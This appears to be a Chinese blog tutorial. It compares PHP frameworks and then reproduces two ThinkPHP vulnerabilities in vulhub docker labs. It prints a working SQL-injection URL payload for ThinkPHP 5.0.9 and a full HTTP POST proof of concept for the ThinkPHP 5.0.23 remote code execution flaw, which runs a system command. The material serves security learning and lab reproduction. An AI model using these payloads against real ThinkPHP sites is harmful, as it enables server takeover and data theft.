1、简介
php适合快速开发Web接口,其语法的简单和开发的速度拥有不少使用者,之前一度抢占编程语言前5。随着快速发展,也出现不少优秀框架,比较著名的有ThinkPHP,Laravel,Yii。
框架选择
- ThinkPHP易上手,国内开发文档丰富,社区活跃;但目录结构不太整洁,深入不叫困难,适合中小型项目。
- Laravel结构清晰,功能齐全,工具丰富,社区强大,但入门困难;文件较多,相对臃肿。适合中大型项目。
- Yii OOP设计思想,使用方便,开发速度快,性能强大,功能丰富;大多英文文档,学习成本大,对技术要求高。适合中大型项目。
2、thinkphp5
Thinkphp5.0相对比较成熟稳定,官方地址:https://www.thinkphp.cn/down/framework.html
根目录说明
1 | project 应用部署目录 |
漏洞
1.ThinkPHP5.0.9 Sql注入 && 敏感信息泄露
漏洞简介
在thinkphp5中,index页面的代码查询,使用了预编译的方法执行SQL,但是在用户输入的ID的值为一个SQL语句的情况下,在预编译执行的某一部会抛出异常,导致SQL注入。不过漏洞比较鸡肋,因为是使用的预编译执行SQL,所以id中输入的sql语句在执行时并不能接触数据,所以只能执行系统函数如use()等来查询数据库信息,而不能爆出数据库数据。
漏洞复现
搭建漏洞环境
1
docker compose up -d
漏洞利用
访问
http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
,信息成功被爆出:
2.ThinkPHP 5.0.23 RCE漏洞
漏洞简介
由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行
影响范围: Thinkphp 5.x-Thinkphp 5.1.31,Thinkphp 5.0.x<=5.0.23
漏洞复现
POC
1
2
3
4
5
6
7
8
9
10
11POST /index.php?s=captcha
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id使用docker搭建漏洞环境
1
2
3cd ../vulhub/thinkphp/5.0.23-rce
docker-compose up -d访问8080端口的index.php,返回如下界面说明环境搭建成功。
- 发送数据包:内容为上面的 POC:获取到id